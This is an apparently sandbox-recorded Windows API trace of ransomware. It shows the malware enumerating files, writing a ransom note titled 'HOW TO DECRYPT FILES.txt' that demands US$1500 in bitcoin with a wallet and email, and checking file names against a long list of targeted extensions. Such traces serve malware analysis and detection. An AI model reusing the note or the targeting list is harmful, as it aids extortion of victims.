lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853133a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x853133a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x853133a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.VisOcx.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.894] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.895] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx.config") returned -1 [0100.895] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx.config") returned -1 [0100.895] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx.config") returned -1 [0100.895] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.895] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" [0100.895] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.895] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.895] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.895] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visocx\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.896] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.896] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.899] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.899] CloseHandle (hObject=0x90) returned 1 [0100.899] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config" [0100.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.ems") returned 0 [0100.899] lstrlenA (lpString="*.ems") returned 5 [0100.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.db") returned 0 [0100.899] lstrlenA (lpString="*.db") returned 4 [0100.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.dbf") returned 0 [0100.899] lstrlenA (lpString="*.dbf") returned 5 [0100.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.myox") returned 0 [0100.899] lstrlenA (lpString="*.myox") returned 6 [0100.899] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.myo") returned 0 [0100.899] lstrlenA (lpString="*.myo") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.qbw") returned 0 [0100.900] lstrlenA (lpString="*.qbw") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.qbb") returned 0 [0100.900] lstrlenA (lpString="*.qbb") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.qbm") returned 0 [0100.900] lstrlenA (lpString="*.qbm") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.qbo") returned 0 [0100.900] lstrlenA (lpString="*.qbo") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.qbx") returned 0 [0100.900] lstrlenA (lpString="*.qbx") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.qba") returned 0 [0100.900] lstrlenA (lpString="*.qba") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.qby") returned 0 [0100.900] lstrlenA (lpString="*.qby") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.qbj") returned 0 [0100.900] lstrlenA (lpString="*.qbj") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.ofx") returned 0 [0100.900] lstrlenA (lpString="*.ofx") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.qif") returned 0 [0100.900] lstrlenA (lpString="*.qif") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.mye") returned 0 [0100.900] lstrlenA (lpString="*.mye") returned 5 [0100.900] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.mbox") returned 0 [0100.901] lstrlenA (lpString="*.mbox") returned 6 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.eml") returned 0 [0100.901] lstrlenA (lpString="*.eml") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.pst") returned 0 [0100.901] lstrlenA (lpString="*.pst") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.ost") returned 0 [0100.901] lstrlenA (lpString="*.ost") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.idx") returned 0 [0100.901] lstrlenA (lpString="*.idx") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.dbx") returned 0 [0100.901] lstrlenA (lpString="*.dbx") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.sql") returned 0 [0100.901] lstrlenA (lpString="*.sql") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.mdb") returned 0 [0100.901] lstrlenA (lpString="*.mdb") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.fdb") returned 0 [0100.901] lstrlenA (lpString="*.fdb") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.wab") returned 0 [0100.901] lstrlenA (lpString="*.wab") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.dat") returned 0 [0100.901] lstrlenA (lpString="*.dat") returned 5 [0100.901] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.txt") returned 0 [0100.902] lstrlenA (lpString="*.txt") returned 5 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.jpeg") returned 0 [0100.902] lstrlenA (lpString="*.jpeg") returned 6 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.jpg") returned 0 [0100.902] lstrlenA (lpString="*.jpg") returned 5 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.png") returned 0 [0100.902] lstrlenA (lpString="*.png") returned 5 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.php") returned 0 [0100.902] lstrlenA (lpString="*.php") returned 5 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.cs") returned 0 [0100.902] lstrlenA (lpString="*.cs") returned 4 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.cpp") returned 0 [0100.902] lstrlenA (lpString="*.cpp") returned 5 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.rar") returned 0 [0100.902] lstrlenA (lpString="*.rar") returned 5 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.zip") returned 0 [0100.902] lstrlenA (lpString="*.zip") returned 5 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.html") returned 0 [0100.902] lstrlenA (lpString="*.html") returned 6 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.htm") returned 0 [0100.902] lstrlenA (lpString="*.htm") returned 5 [0100.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.xlsx") returned 0 [0100.902] lstrlenA (lpString="*.xlsx") returned 6 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.xls") returned 0 [0100.903] lstrlenA (lpString="*.xls") returned 5 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.mp4") returned 0 [0100.903] lstrlenA (lpString="*.mp4") returned 5 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.ppt") returned 0 [0100.903] lstrlenA (lpString="*.ppt") returned 5 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.pptx") returned 0 [0100.903] lstrlenA (lpString="*.pptx") returned 6 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.doc") returned 0 [0100.903] lstrlenA (lpString="*.doc") returned 5 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.dot") returned 0 [0100.903] lstrlenA (lpString="*.dot") returned 5 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.docx") returned 0 [0100.903] lstrlenA (lpString="*.docx") returned 6 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.7z") returned 0 [0100.903] lstrlenA (lpString="*.7z") returned 4 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.tar") returned 0 [0100.903] lstrlenA (lpString="*.tar") returned 5 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.bz2") returned 0 [0100.903] lstrlenA (lpString="*.bz2") returned 5 [0100.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.gz") returned 0 [0100.903] lstrlenA (lpString="*.gz") returned 4 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.mkv") returned 0 [0100.904] lstrlenA (lpString="*.mkv") returned 5 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.eml") returned 0 [0100.904] lstrlenA (lpString="*.eml") returned 5 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.msg") returned 0 [0100.904] lstrlenA (lpString="*.msg") returned 5 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.edb") returned 0 [0100.904] lstrlenA (lpString="*.edb") returned 5 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.accdb") returned 0 [0100.904] lstrlenA (lpString="*.accdb") returned 7 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.odb") returned 0 [0100.904] lstrlenA (lpString="*.odb") returned 5 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.java") returned 0 [0100.904] lstrlenA (lpString="*.java") returned 6 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.asm") returned 0 [0100.904] lstrlenA (lpString="*.asm") returned 5 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.pfx") returned 0 [0100.904] lstrlenA (lpString="*.pfx") returned 5 [0100.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.pem") returned 0 [0100.905] lstrlenA (lpString="*.pem") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.p12") returned 0 [0100.905] lstrlenA (lpString="*.p12") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.gpg") returned 0 [0100.905] lstrlenA (lpString="*.gpg") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.vsd") returned 0 [0100.905] lstrlenA (lpString="*.vsd") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.odg") returned 0 [0100.905] lstrlenA (lpString="*.odg") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.raw") returned 0 [0100.905] lstrlenA (lpString="*.raw") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.nef") returned 0 [0100.905] lstrlenA (lpString="*.nef") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.svg") returned 0 [0100.905] lstrlenA (lpString="*.svg") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.psd") returned 0 [0100.905] lstrlenA (lpString="*.psd") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.vmx") returned 0 [0100.905] lstrlenA (lpString="*.vmx") returned 5 [0100.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.vmdk") returned 0 [0100.905] lstrlenA (lpString="*.vmdk") returned 6 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.vdi") returned 0 [0100.906] lstrlenA (lpString="*.vdi") returned 5 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.lay6") returned 0 [0100.906] lstrlenA (lpString="*.lay6") returned 6 [0100.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.VisOcx.config", pszSpec="*.mpeg") returned 0 